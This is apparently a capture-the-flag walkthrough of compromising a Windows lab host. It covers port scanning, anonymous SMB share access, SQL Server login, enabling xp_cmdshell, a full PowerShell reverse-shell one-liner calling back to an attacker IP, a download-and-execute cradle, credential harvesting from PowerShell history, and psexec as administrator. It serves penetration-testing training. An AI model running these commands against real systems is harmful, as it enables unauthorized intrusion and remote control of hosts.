Enumeration
Scan for opening ports
1 | nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$// >> ports.txt |
more detailed scan
1 | nmap -sC -sV -p`cat ports.txt` 10.10.10.27 |
Results:
1 | 135/tcp open msrpc Microsoft Windows RPC |
1 | Port 445: Later versions of SMB (after Windows 2000) began to use port 445 on top of a TCP stack. Using TCP allows SMB to work over the internet. |
445 are open (file sharing smb)
check anonymous login
1 | smbclient -N -L \\\\10.10.10.27 |
1 | smbclient -N \\\\10.10.10.27\\backups |
A DTSCONFIG file is an XML configuration file used to apply property values to SQL Server Integration Services (SSIS) packages. The file contains one or more package configurations that consist of metadata such as the server name, database names, and other connection properties to configure SSIS packages.
1 | <DTSConfiguration> |
port 1433 is default port for ms-sql-s
1 | mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth |
entered the database
check weather the current user has system level privilege
1 | SQL> SELECT IS_SRVROLEMEMBER('sysadmin'); |
change configuration to make xp_cmdshell available:
https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-configure-transact-sql?view=sql-server-ver15
1 | EXEC sp_configure 'Show Advanced Options', 1; |
powershell reverse shell:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
1 | reverseshell.ps |
1 | $client = New-Object System.Net.Sockets.TCPClient("10.10.14.73",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() |
open a webserver for servering the file
1 | python3 -m http.server 80 |
in sql execute:
1 | xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.73/ps_shell2.ps1\");" |
not sure why the first script get blocked by antivirus software
the flag file stored in :C:\Users\sql_svc\Desktop\user.txt
privilege escalation:
find frequent accessed file or commands:
1 | type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
https://en.wikipedia.org/wiki/Net_(command)
1 | use: Connect/disconnect computer to/from shared resources, or display information about computer connections |
connect to the admin user and look at the desktop
1 | psexec.py administrator@10.10.10.27 |
to use psexec, port445 need to open
Prerequisites:
- A modern Windows computer (local)
- File and Printer Sharing open (remote computer, TCP port 445)
- The admin$ administrative share available (remote computer)
- You know a local account’s credential (remote computer)